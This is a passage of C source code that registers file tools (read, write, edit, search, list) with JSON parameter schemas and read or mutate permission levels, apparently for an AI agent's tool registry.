"\"required\":[\"path\"]}";
t.auth = SP_AUTH_READ;
t.run = tool_read;
if (sp_registry_add(r, &t) != 0)
return -1;
memset(&t, 0, sizeof(t));
t.name = "write";
t.description = "Write a file, replacing it if it exists.";
t.params = "{\"type\":\"object\",\"properties\":{"
"\"path\":{\"type\":\"string\"},"
"\"content\":{\"type\":\"string\"}},"
"\"required\":[\"path\",\"content\"]}";
t.auth = SP_AUTH_MUTATE;
t.run = tool_write;
if (sp_registry_add(r, &t) != 0)
return -1;
memset(&t, 0, sizeof(t));
t.name = "edit";
t.description = "Replace one occurrence of 'old' with 'new'. Refuses "
"when 'old' is not unique.";
t.params = "{\"type\":\"object\",\"properties\":{"
"\"path\":{\"type\":\"string\"},"
"\"old\":{\"type\":\"string\",\"description\":\"exact text to replace\"},"
"\"new\":{\"type\":\"string\",\"description\":\"replacement\"}},"
"\"required\":[\"path\",\"old\",\"new\"]}";
t.auth = SP_AUTH_MUTATE;
t.run = tool_edit;
if (sp_registry_add(r, &t) != 0)
return -1;
memset(&t, 0, sizeof(t));
t.name = "search";
t.description = "Search files under a directory for a literal string.";
t.params = "{\"type\":\"object\",\"properties\":{"
"\"pattern\":{\"type\":\"string\"},"
"\"path\":{\"type\":\"string\",\"description\":\"directory, default .\"}},"
"\"required\":[\"pattern\"]}";
t.auth = SP_AUTH_READ;
t.run = tool_search;
if (sp_registry_add(r, &t) != 0)
return -1;
memset(&t, 0, sizeof(t));
t.name = "list";
t.description = "List a directory.";
t.params = "{\"type\":\"object\",\"properties\":{"
"\"path\":{\"type\":\"string\",\"description\":\"directory, default .\"}}}";
t.auth = SP_AUTH_READ;
t.run = tool_list;
if (sp_registry_add(r, &t) != 0)
return -1;
return 0;
}